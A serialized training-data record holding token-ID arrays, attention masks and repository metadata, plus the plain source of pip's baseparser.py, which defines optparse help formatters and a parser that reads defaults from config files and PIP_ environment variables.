[ 1639, 14, 2828, 14, 1178, 492, 1709, 199, 504, 1639, 14, 2828, 14, 1178, 14, 30192, 492, 334, 272, 16430, 8030, 4256, 12, 8779, 8030, 4256, 12, 2876, 48, 1916, 22060, 12, 199, 9, 199, 504, 1639, 14, 2828, 14, 1178, 14, 992, 492, 29952, 199, 504, 1639, 14, 1018, 14, 3924, 492, 23724, 199, 504, 1639, 14, 1014, 492, 6183, 199, 504, 1639, 14, 396, 492, 18638, 12, 7640, 12, 1683, 199, 504, 1639, 14, 4196, 14, 6767, 492, 10935, 421, 199, 533, 16763, 549, 4256, 8, 1899, 48, 1916, 22060, 304, 339, 347, 511, 63, 1532, 8, 277, 304, 267, 372, 715, 421, 199, 533, 16763, 797, 4256, 8, 1899, 48, 1916, 22060, 304, 339, 347, 511, 63, 1532, 8, 277, 304, 267, 372, 756, 421, 199, 533, 9630, 2364, 2768, 8, 2768, 304, 272, 347, 664, 8, 277, 12, 1056, 12, 627, 589, 12, 1011, 958, 304, 267, 372, 6183, 342, 421, 199, 533, 16763, 549, 2768, 8, 2439, 2885, 549, 4256, 12, 9630, 2364, 2768, 304, 272, 986, 421, 199, 533, 16763, 797, 2768, 8, 2439, 2885, 797, 4256, 12, 9630, 2364, 2768, 304, 272, 986, 421, 199, 533, 13894, 379, 18854, 3617, 2768, 17, 8, 8880, 8030, 4256, 12, 8779, 8030, 4256, 12, 9630, 2364, 2768, 304, 272, 4983, 63, 2427, 275, 788, 1178, 63, 2219, 14, 525, 63, 4229, 751, 297, 283, 1178, 63, 2219, 14, 1461, 63, 4229, 751, 418, 272, 746, 63, 1971, 275, 715, 421, 199, 533, 13894, 379, 18854, 3617, 2768, 18, 8, 7980, 8030, 4256, 12, 16430, 8030, 4256, 12, 9630, 2364, 2768, 304, 272, 4983, 63, 2427, 275, 788, 1178, 63, 2219, 14, 525, 63, 4229, 751, 297, 283, 1178, 63, 2219, 14, 1461, 63, 4229, 751, 418, 272, 746, 63, 1971, 275, 715, 421, 199, 533, 11003, 4256, 2925, 8, 1746, 304, 339, 6434, 275, 18638, 342, 339, 347, 511, 63, 27266, 63, 30192, 63, 3742, 8, 277, 304, 267, 922, 275, 1709, 14, 1899, 14, 1462, 14, 981, 8, 2473, 534, 20241, 297, 2505, 534, 81, 2135, 369, 358, 267, 17340, 275, 1709, 14, 7980, 14, 1462, 14, 1541, 8, 11879, 363, 262, 7782, 525, 63, 4229, 751, 297, 283, 1461, 63, 4229, 751, 1333, 267, 922, 14, 751, 63, 6060, 14, 525, 2031, 12068, 9, 267, 1056, 275, 291, 14, 3702, 14, 362, 2336, 3759, 358, 267, 1056, 14, 751, 275, 922, 398, 2455, 275, 13894, 379, 18854, 3617, 2768, 17, 14, 305, 63, 1345, 342, 267, 1177, 275, 2455, 8, 1069, 9, 267, 291, 14, 629, 8, 1310, 14, 1205, 63, 600, 12, 1926, 9, 398, 2455, 275, 13894, 379, 18854, 3617, 2768, 18, 14, 305, 63, 1345, 342, 267, 1177, 275, 2455, 8, 1069, 9, 267, 291, 14, 629, 8, 1310, 14, 1205, 63, 600, 12, 1926, 9, 339, 347, 511, 63, 27266, 63, 30192, 63, 4752, 63, 5693, 8, 277, 304, 267, 922, 275, 1709, 14, 1899, 14, 1462, 14, 981, 8, 2473, 534, 20241, 297, 2505, 534, 81, 2135, 369, 358, 267, 17340, 275, 1709, 14, 7980, 14, 1462, 14, 1541, 8, 11879, 363, 262, 7782, 525, 63, 4229, 751, 16829, 267, 922, 14, 751, 63, 6060, 14, 525, 2031, 12068, 9, 267, 1056, 275, 291, 14, 3702, 14, 362, 2336, 3759, 358, 267, 1056, 14, 751, 275, 922, 398, 2455, 275, 13894, 379, 18854, 3617, 2768, 17, 14, 305, 63, 1345, 342, 267, 543, 291, 14, 1855, 8, 7980, 15729, 304, 288, 2455, 8, 1069, 9, 398, 2455, 275, 13894, 379, 18854, 3617, 2768, 18, 14, 305, 63, 1345, 342, 267, 543, 291, 14, 1855, 8, 7980, 15729, 304, 288, 2455, 8, 1069, 9, 339, 768, 1805, 14, 2068, 14, 785, 8, 992, 14, 1899, 12, 283, 374, 63, 12177, 297, 756, 9, 272, 347, 511, 63, 27266, 63, 30192, 63, 1397, 63, 12419, 63, 262, 8, 277, 304, 267, 922, 275, 1709, 14, 1899, 14, 1462, 14, 981, 8, 2473, 534, 20241, 297, 2505, 534, 81, 2135, 369, 358, 267, 17340, 275, 1709, 14, 7980, 14, 1462, 14, 1541, 8, 11879, 363, 262, 7782, 525, 63, 4229, 751, 297, 283, 1461, 63, 4229, 751, 1333, 267, 922, 14, 751, 63, 6060, 14, 525, 2031, 12068, 9, 267, 1056, 275, 291, 14, 3702, 14, 362, 2336, 3759, 358, 267, 1056, 14, 751, 275, 922, 398, 2455, 275, 13894, 379, 18854, 3617, 2768, 17, 14, 305, 63, 1345, 342, 267, 543, 291, 14, 1855, 8, 7980, 15729, 304, 288, 2455, 8, 1069, 9, 398, 2455, 275, 13894, 379, 18854, 3617, 2768, 18, 14, 305, 63, 1345, 342, 267, 543, 291, 14, 1855, 8, 7980, 15729, 304, 288, 2455, 8, 1069, 9, 421, 199, 533, 2876, 48, 1916, 774, 2925, 8, 1746, 304, 339, 6434, 275, 18638, 342, 339, 347, 485, 396, 63, 4876, 8, 277, 12, 2455, 29, 403, 12, 1166, 8805, 8370, 15, 2886, 10197, 2184, 13043, 3759, 735, 267, 340, 440, 2455, 26, 288, 2455, 275, 16763, 797, 2768, 14, 305, 63, 1345, 342, 267, 1056, 275, 291, 14, 3702, 14, 362, 2336, 3759, 358, 267, 1056, 14, 751, 275, 29952, 342, 267, 1177, 275, 2455, 8, 1069, 9, 267, 291, 14, 629, 8, 1310, 14, 1205, 63, 600, 12, 11485, 9, 267, 291, 14, 629, 8, 1310, 14, 633, 12, 1166, 9, 339, 347, 511, 63, 885, 8, 277, 304, 267, 291, 423, 396, 63, 4876, 342, 339, 347, 511, 63, 4229, 63, 4876, 63, 633, 8, 277, 304, 267, 1021, 437, 2768, 8, 2439, 2885, 797, 2768, 304, 288, 4676, 63, 633, 275, 1994, 2886, 4805, 398, 291, 423, 396, 63, 4876, 8, 33, 2768, 14, 305, 63, 1345, 1062, 1994, 2886, 10197, 2184, 13043, 3759, 358, 339, 347, 511, 63, 4229, 63, 4876, 63, 5329, 8, 277, 304, 267, 1021, 437, 2768, 8, 2439, 2885, 797, 2768, 304, 288, 4660, 63, 698, 63, 354, 275, 283, 14867, 7, 398, 291, 423, 396, 63, 4876, 8, 33, 2768, 14, 305, 63, 1345, 1062, 1994, 8370, 15, 2886, 10197, 14867, 13043, 3759, 358, 339, 347, 511, 63, 889, 63, 4876, 63, 5329, 8, 277, 304, 267, 1021, 437, 2768, 8, 2439, 2885, 797, 2768, 304, 288, 4660, 63, 698, 63, 354, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
sysalexis/kbengine
kbe/res/scripts/common/Lib/site-packages/pip/baseparser.py
329
8162
"""Base option parser setup""" import sys import optparse import os import textwrap from distutils.util import strtobool from pip.backwardcompat import ConfigParser, string_types from pip.locations import default_config_file from pip.util import get_terminal_size, get_prog from pip._vendor import pkg_resources class PrettyHelpFormatter(optparse.IndentedHelpFormatter): """A prettier/less verbose help formatter for optparse.""" def __init__(self, *args, **kwargs): # help position must be aligned with __init__.parseopts.description kwargs['max_help_position'] = 30 kwargs['indent_increment'] = 1 kwargs['width'] = get_terminal_size()[0] - 2 optparse.IndentedHelpFormatter.__init__(self, *args, **kwargs) def format_option_strings(self, option): return self._format_option_strings(option, ' <%s>', ', ') def _format_option_strings(self, option, mvarfmt=' <%s>', optsep=', '): """ Return a comma-separated list of option strings and metavars. :param option: tuple of (short opt, long opt), e.g: ('-f', '--format') :param mvarfmt: metavar format string - evaluated as mvarfmt % metavar :param optsep: separator """ opts = [] if option._short_opts: opts.append(option._short_opts[0]) if option._long_opts: opts.append(option._long_opts[0]) if len(opts) > 1: opts.insert(1, optsep) if option.takes_value(): metavar = option.metavar or option.dest.lower() opts.append(mvarfmt % metavar.lower()) return ''.join(opts) def format_heading(self, heading): if heading == 'Options': return '' return heading + ':\n' def format_usage(self, usage): """ Ensure there is only one newline between usage and the first heading if there is no description. """ msg = '\nUsage: %s\n' % self.indent_lines(textwrap.dedent(usage), " ") return msg def format_description(self, description): # leave full control over description to us if description: if hasattr(self.parser, 'main'): label = 'Commands' else: label = 'Description' #some doc strings have inital newlines, some don't description = description.lstrip('\n') #some doc strings have final newlines and spaces, some don't description = description.rstrip() #dedent, then reindent description = self.indent_lines(textwrap.dedent(description), " ") description = '%s:\n%s\n' % (label, description) return description else: return '' def format_epilog(self, epilog): # leave full control over epilog to us if epilog: return epilog else: return '' def indent_lines(self, text, indent): new_lines = [indent + line for line in text.split('\n')] return "\n".join(new_lines) class UpdatingDefaultsHelpFormatter(PrettyHelpFormatter): """Custom help formatter for use in ConfigOptionParser that updates the defaults before expanding them, allowing them to show up correctly in the help listing""" def expand_default(self, option): if self.parser is not None: self.parser.update_defaults(self.parser.defaults) return optparse.IndentedHelpFormatter.expand_default(self, option) class CustomOptionParser(optparse.OptionParser): def insert_option_group(self, idx, *args, **kwargs): """Insert an OptionGroup at a given position.""" group = self.add_option_group(*args, **kwargs) self.option_groups.pop() self.option_groups.insert(idx, group) return group @property def option_list_all(self): """Get a list of all options, including those in option groups.""" res = self.option_list[:] for i in self.option_groups: res.extend(i.option_list) return res class ConfigOptionParser(CustomOptionParser): """Custom option parser which updates its defaults by checking the configuration files and environmental variables""" def __init__(self, *args, **kwargs): self.config = ConfigParser.RawConfigParser() self.name = kwargs.pop('name') self.files = self.get_config_files() if self.files: self.config.read(self.files) assert self.name optparse.OptionParser.__init__(self, *args, **kwargs) def get_config_files(self): config_file = os.environ.get('PIP_CONFIG_FILE', False) if config_file == os.devnull: return [] if config_file and os.path.exists(config_file): return [config_file] return [default_config_file] def check_default(self, option, key, val): try: return option.check_value(key, val) except optparse.OptionValueError: e = sys.exc_info()[1] print("An error occurred during configuration: %s" % e) sys.exit(3) def update_defaults(self, defaults): """Updates the given defaults with values from the config files and the environ. Does a little special handling for certain types of options (lists).""" # Then go and look for the other sources of configuration: config = {} # 1. config files for section in ('global', self.name): config.update(self.normalize_keys(self.get_config_section(section))) # 2. environmental variables config.update(self.normalize_keys(self.get_environ_vars())) # Then set the options with those values for key, val in config.items(): option = self.get_option(key) if option is not None: # ignore empty values if not val: continue if option.action in ('store_true', 'store_false', 'count'): val = strtobool(val) if option.action == 'append': val = val.split() val = [self.check_default(option, key, v) for v in val] else: val = self.check_default(option, key, val) defaults[option.dest] = val return defaults def normalize_keys(self, items): """Return a config dictionary with normalized keys regardless of whether the keys were specified in environment variables or in config files""" normalized = {} for key, val in items: key = key.replace('_', '-') if not key.startswith('--'): key = '--%s' % key # only prefer long opts normalized[key] = val return normalized def get_config_section(self, name): """Get a section of a configuration""" if self.config.has_section(name): return self.config.items(name) return [] def get_environ_vars(self, prefix='PIP_'): """Returns a generator with all environmental vars with prefix PIP_""" for key, val in os.environ.items(): if key.startswith(prefix): yield (key.replace(prefix, '').lower(), val) def get_default_values(self): """Overridding to make updating the defaults after instantiation of the option parser possible, update_defaults() does the dirty work.""" if not self.process_default_values: # Old, pre-Optik 1.5 behaviour. return optparse.Values(self.defaults) defaults = self.update_defaults(self.defaults.copy()) # ours for option in self._get_all_options(): default = defaults.get(option.dest) if isinstance(default, string_types): opt_str = option.get_opt_string() defaults[option.dest] = option.check_value(opt_str, default) return optparse.Values(defaults) def error(self, msg): self.print_usage(sys.stderr) self.exit(2, "%s\n" % msg)
lgpl-3.0
[ 624, 1563, 945, 1798, 3272, 624, 199, 199, 646, 984, 199, 646, 8691, 199, 646, 747, 199, 646, 13390, 199, 504, 7065, 14, 1974, 492, 620, 475, 2245, 199, 199, 504, 7305, 14, 15457, 5819, 492, 14196, 12, 1059, 63, 1313, 199, 504, 7305, 14, 8022, 492, 849, 63, 888, 63, 493, 199, 504, 7305, 14, 1974, 492, 664, 63, 12010, 63, 890, 12, 664, 63, 6595, 199, 504, 7305, 423, 9884, 492, 5496, 63, 4435, 421, 199, 533, 31651, 22779, 8, 2992, 1122, 14, 607, 14032, 22779, 304, 272, 408, 33, 876, 84, 13949, 15, 2003, 3376, 1720, 9698, 367, 8691, 1041, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 327, 1720, 3421, 1471, 506, 22569, 543, 636, 826, 4343, 1122, 3291, 14, 1802, 267, 2074, 459, 988, 63, 3437, 63, 3124, 418, 275, 4233, 267, 2074, 459, 3724, 63, 9728, 418, 275, 413, 267, 2074, 459, 2063, 418, 275, 664, 63, 12010, 63, 890, 3430, 16, 61, 446, 499, 267, 8691, 14, 607, 14032, 22779, 855, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 9, 339, 347, 1475, 63, 1422, 63, 5465, 8, 277, 12, 945, 304, 267, 372, 291, 423, 908, 63, 1422, 63, 5465, 8, 1422, 12, 283, 21808, 83, 4206, 1656, 5320, 339, 347, 485, 908, 63, 1422, 63, 5465, 8, 277, 12, 945, 12, 333, 1391, 5045, 534, 21808, 83, 4206, 2450, 4127, 4009, 18927, 267, 408, 267, 1432, 282, 10029, 13, 12794, 769, 402, 945, 3326, 436, 3404, 2936, 14, 398, 520, 635, 945, 26, 221, 2008, 402, 334, 3612, 2450, 12, 1846, 2450, 395, 325, 14, 71, 26, 12291, 70, 297, 2850, 908, 358, 267, 520, 635, 333, 1391, 5045, 26, 8214, 1475, 1059, 446, 13006, 465, 333, 1391, 5045, 450, 8214, 267, 520, 635, 2450, 4127, 26, 221, 9432, 267, 408, 267, 3999, 275, 942, 398, 340, 945, 423, 3612, 63, 3291, 26, 288, 3999, 14, 740, 8, 1422, 423, 3612, 63, 3291, 59, 16, 566, 267, 340, 945, 423, 2809, 63, 3291, 26, 288, 3999, 14, 740, 8, 1422, 423, 2809, 63, 3291, 59, 16, 566, 267, 340, 822, 8, 3291, 9, 690, 413, 26, 288, 3999, 14, 3176, 8, 17, 12, 2450, 4127, 9, 398, 340, 945, 14, 31613, 63, 585, 837, 288, 8214, 275, 945, 14, 23303, 503, 945, 14, 2614, 14, 2325, 342, 288, 3999, 14, 740, 8, 77, 1391, 5045, 450, 8214, 14, 2325, 1012, 398, 372, 6522, 904, 8, 3291, 9, 339, 347, 1475, 63, 13983, 8, 277, 12, 16631, 304, 267, 340, 16631, 508, 283, 4558, 356, 288, 372, 2125, 267, 372, 16631, 435, 283, 3427, 78, 7, 339, 347, 1475, 63, 3807, 8, 277, 12, 4503, 304, 267, 408, 267, 7523, 2337, 365, 1454, 1373, 8057, 3382, 4503, 436, 314, 1642, 16631, 267, 340, 2337, 365, 949, 1369, 14, 267, 408, 267, 1499, 275, 1557, 78, 7692, 26, 450, 83, 60, 78, 7, 450, 291, 14, 3724, 63, 1278, 8, 505, 3823, 14, 14674, 8, 3807, 395, 298, 221, 6099, 267, 372, 1499, 339, 347, 1475, 63, 1802, 8, 277, 12, 1369, 304, 267, 327, 10137, 2615, 3304, 1806, 1369, 370, 2739, 267, 340, 1369, 26, 288, 340, 2688, 8, 277, 14, 2087, 12, 283, 973, 735, 355, 1768, 275, 283, 14680, 7, 288, 587, 26, 355, 1768, 275, 283, 5831, 7, 288, 327, 3972, 1382, 3326, 1172, 4205, 279, 14930, 12, 2005, 2793, 1133, 288, 1369, 275, 1369, 14, 10124, 2258, 78, 358, 288, 327, 3972, 1382, 3326, 1172, 4242, 14930, 436, 7883, 12, 2005, 2793, 1133, 288, 1369, 275, 1369, 14, 6735, 342, 288, 327, 14674, 12, 2066, 295, 3724, 288, 1369, 275, 291, 14, 3724, 63, 1278, 8, 505, 3823, 14, 14674, 8, 1802, 395, 298, 221, 6099, 288, 1369, 275, 1543, 83, 3427, 78, 5, 83, 60, 78, 7, 450, 334, 1302, 12, 1369, 9, 288, 372, 1369, 267, 587, 26, 288, 372, 2125, 339, 347, 1475, 63, 28349, 8, 277, 12, 29850, 304, 267, 327, 10137, 2615, 3304, 1806, 29850, 370, 2739, 267, 340, 29850, 26, 288, 372, 29850, 267, 587, 26, 288, 372, 2125, 339, 347, 4363, 63, 1278, 8, 277, 12, 1318, 12, 4363, 304, 267, 892, 63, 1278, 275, 359, 3724, 435, 1004, 367, 1004, 315, 1318, 14, 1294, 2258, 78, 5440, 267, 372, 1867, 78, 1674, 904, 8, 1222, 63, 1278, 9, 421, 199, 533, 4949, 9239, 16986, 22779, 8, 27153, 22779, 304, 272, 408, 7223, 1720, 9698, 367, 675, 315, 4094, 14553, 626, 7029, 272, 314, 4243, 2544, 6544, 316, 3062, 12, 17266, 3062, 370, 2498, 1536, 6657, 272, 315, 314, 1720, 13778, 624, 339, 347, 6544, 63, 885, 8, 277, 12, 945, 304, 267, 340, 291, 14, 2087, 365, 440, 488, 26, 288, 291, 14, 2087, 14, 873, 63, 4322, 8, 277, 14, 2087, 14, 4322, 9, 267, 372, 8691, 14, 607, 14032, 22779, 14, 4441, 63, 885, 8, 277, 12, 945, 9, 421, 199, 533, 8388, 14553, 8, 2992, 1122, 14, 14553, 304, 272, 347, 5518, 63, 1422, 63, 923, 8, 277, 12, 4280, 12, 627, 589, 12, 1011, 958, 304, 267, 408, 9971, 376, 3207, 2448, 737, 282, 1627, 3421, 1041, 267, 1572, 275, 291, 14, 525, 63, 1422, 63, 923, 2031, 589, 12, 1011, 958, 9, 398, 291, 14, 1422, 63, 2634, 14, 1935, 342, 267, 291, 14, 1422, 63, 2634, 14, 3176, 8, 2996, 12, 1572, 9, 398, 372, 1572, 339, 768, 1829, 272, 347, 945, 63, 513, 63, 452, 8, 277, 304, 267, 408, 1002, 282, 769, 402, 1006, 1511, 12, 5893, 5204, 315, 945, 4652, 1041, 267, 522, 275, 291, 14, 1422, 63, 513, 5873, 267, 367, 284, 315, 291, 14, 1422, 63, 2634, 26, 288, 522, 14, 2880, 8, 73, 14, 1422, 63, 513, 9, 398, 372, 522, 421, 199, 533, 4094, 14553, 8, 7223, 14553, 304, 272, 408, 7223, 945, 1798, 1314, 7029, 2399, 4243, 701, 7907, 314, 272, 2897, 1584, 436, 3734, 279, 2860, 624, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 888, 275, 14196, 14, 7963, 15218, 342, 267, 291, 14, 354, 275, 2074, 14, 1935, 360, 354, 358, 267 ]
[ 1563, 945, 1798, 3272, 624, 199, 199, 646, 984, 199, 646, 8691, 199, 646, 747, 199, 646, 13390, 199, 504, 7065, 14, 1974, 492, 620, 475, 2245, 199, 199, 504, 7305, 14, 15457, 5819, 492, 14196, 12, 1059, 63, 1313, 199, 504, 7305, 14, 8022, 492, 849, 63, 888, 63, 493, 199, 504, 7305, 14, 1974, 492, 664, 63, 12010, 63, 890, 12, 664, 63, 6595, 199, 504, 7305, 423, 9884, 492, 5496, 63, 4435, 421, 199, 533, 31651, 22779, 8, 2992, 1122, 14, 607, 14032, 22779, 304, 272, 408, 33, 876, 84, 13949, 15, 2003, 3376, 1720, 9698, 367, 8691, 1041, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 327, 1720, 3421, 1471, 506, 22569, 543, 636, 826, 4343, 1122, 3291, 14, 1802, 267, 2074, 459, 988, 63, 3437, 63, 3124, 418, 275, 4233, 267, 2074, 459, 3724, 63, 9728, 418, 275, 413, 267, 2074, 459, 2063, 418, 275, 664, 63, 12010, 63, 890, 3430, 16, 61, 446, 499, 267, 8691, 14, 607, 14032, 22779, 855, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 9, 339, 347, 1475, 63, 1422, 63, 5465, 8, 277, 12, 945, 304, 267, 372, 291, 423, 908, 63, 1422, 63, 5465, 8, 1422, 12, 283, 21808, 83, 4206, 1656, 5320, 339, 347, 485, 908, 63, 1422, 63, 5465, 8, 277, 12, 945, 12, 333, 1391, 5045, 534, 21808, 83, 4206, 2450, 4127, 4009, 18927, 267, 408, 267, 1432, 282, 10029, 13, 12794, 769, 402, 945, 3326, 436, 3404, 2936, 14, 398, 520, 635, 945, 26, 221, 2008, 402, 334, 3612, 2450, 12, 1846, 2450, 395, 325, 14, 71, 26, 12291, 70, 297, 2850, 908, 358, 267, 520, 635, 333, 1391, 5045, 26, 8214, 1475, 1059, 446, 13006, 465, 333, 1391, 5045, 450, 8214, 267, 520, 635, 2450, 4127, 26, 221, 9432, 267, 408, 267, 3999, 275, 942, 398, 340, 945, 423, 3612, 63, 3291, 26, 288, 3999, 14, 740, 8, 1422, 423, 3612, 63, 3291, 59, 16, 566, 267, 340, 945, 423, 2809, 63, 3291, 26, 288, 3999, 14, 740, 8, 1422, 423, 2809, 63, 3291, 59, 16, 566, 267, 340, 822, 8, 3291, 9, 690, 413, 26, 288, 3999, 14, 3176, 8, 17, 12, 2450, 4127, 9, 398, 340, 945, 14, 31613, 63, 585, 837, 288, 8214, 275, 945, 14, 23303, 503, 945, 14, 2614, 14, 2325, 342, 288, 3999, 14, 740, 8, 77, 1391, 5045, 450, 8214, 14, 2325, 1012, 398, 372, 6522, 904, 8, 3291, 9, 339, 347, 1475, 63, 13983, 8, 277, 12, 16631, 304, 267, 340, 16631, 508, 283, 4558, 356, 288, 372, 2125, 267, 372, 16631, 435, 283, 3427, 78, 7, 339, 347, 1475, 63, 3807, 8, 277, 12, 4503, 304, 267, 408, 267, 7523, 2337, 365, 1454, 1373, 8057, 3382, 4503, 436, 314, 1642, 16631, 267, 340, 2337, 365, 949, 1369, 14, 267, 408, 267, 1499, 275, 1557, 78, 7692, 26, 450, 83, 60, 78, 7, 450, 291, 14, 3724, 63, 1278, 8, 505, 3823, 14, 14674, 8, 3807, 395, 298, 221, 6099, 267, 372, 1499, 339, 347, 1475, 63, 1802, 8, 277, 12, 1369, 304, 267, 327, 10137, 2615, 3304, 1806, 1369, 370, 2739, 267, 340, 1369, 26, 288, 340, 2688, 8, 277, 14, 2087, 12, 283, 973, 735, 355, 1768, 275, 283, 14680, 7, 288, 587, 26, 355, 1768, 275, 283, 5831, 7, 288, 327, 3972, 1382, 3326, 1172, 4205, 279, 14930, 12, 2005, 2793, 1133, 288, 1369, 275, 1369, 14, 10124, 2258, 78, 358, 288, 327, 3972, 1382, 3326, 1172, 4242, 14930, 436, 7883, 12, 2005, 2793, 1133, 288, 1369, 275, 1369, 14, 6735, 342, 288, 327, 14674, 12, 2066, 295, 3724, 288, 1369, 275, 291, 14, 3724, 63, 1278, 8, 505, 3823, 14, 14674, 8, 1802, 395, 298, 221, 6099, 288, 1369, 275, 1543, 83, 3427, 78, 5, 83, 60, 78, 7, 450, 334, 1302, 12, 1369, 9, 288, 372, 1369, 267, 587, 26, 288, 372, 2125, 339, 347, 1475, 63, 28349, 8, 277, 12, 29850, 304, 267, 327, 10137, 2615, 3304, 1806, 29850, 370, 2739, 267, 340, 29850, 26, 288, 372, 29850, 267, 587, 26, 288, 372, 2125, 339, 347, 4363, 63, 1278, 8, 277, 12, 1318, 12, 4363, 304, 267, 892, 63, 1278, 275, 359, 3724, 435, 1004, 367, 1004, 315, 1318, 14, 1294, 2258, 78, 5440, 267, 372, 1867, 78, 1674, 904, 8, 1222, 63, 1278, 9, 421, 199, 533, 4949, 9239, 16986, 22779, 8, 27153, 22779, 304, 272, 408, 7223, 1720, 9698, 367, 675, 315, 4094, 14553, 626, 7029, 272, 314, 4243, 2544, 6544, 316, 3062, 12, 17266, 3062, 370, 2498, 1536, 6657, 272, 315, 314, 1720, 13778, 624, 339, 347, 6544, 63, 885, 8, 277, 12, 945, 304, 267, 340, 291, 14, 2087, 365, 440, 488, 26, 288, 291, 14, 2087, 14, 873, 63, 4322, 8, 277, 14, 2087, 14, 4322, 9, 267, 372, 8691, 14, 607, 14032, 22779, 14, 4441, 63, 885, 8, 277, 12, 945, 9, 421, 199, 533, 8388, 14553, 8, 2992, 1122, 14, 14553, 304, 272, 347, 5518, 63, 1422, 63, 923, 8, 277, 12, 4280, 12, 627, 589, 12, 1011, 958, 304, 267, 408, 9971, 376, 3207, 2448, 737, 282, 1627, 3421, 1041, 267, 1572, 275, 291, 14, 525, 63, 1422, 63, 923, 2031, 589, 12, 1011, 958, 9, 398, 291, 14, 1422, 63, 2634, 14, 1935, 342, 267, 291, 14, 1422, 63, 2634, 14, 3176, 8, 2996, 12, 1572, 9, 398, 372, 1572, 339, 768, 1829, 272, 347, 945, 63, 513, 63, 452, 8, 277, 304, 267, 408, 1002, 282, 769, 402, 1006, 1511, 12, 5893, 5204, 315, 945, 4652, 1041, 267, 522, 275, 291, 14, 1422, 63, 513, 5873, 267, 367, 284, 315, 291, 14, 1422, 63, 2634, 26, 288, 522, 14, 2880, 8, 73, 14, 1422, 63, 513, 9, 398, 372, 522, 421, 199, 533, 4094, 14553, 8, 7223, 14553, 304, 272, 408, 7223, 945, 1798, 1314, 7029, 2399, 4243, 701, 7907, 314, 272, 2897, 1584, 436, 3734, 279, 2860, 624, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 291, 14, 888, 275, 14196, 14, 7963, 15218, 342, 267, 291, 14, 354, 275, 2074, 14, 1935, 360, 354, 358, 267, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
gbaty/pyside2
tests/util/processtimer.py
9
1211
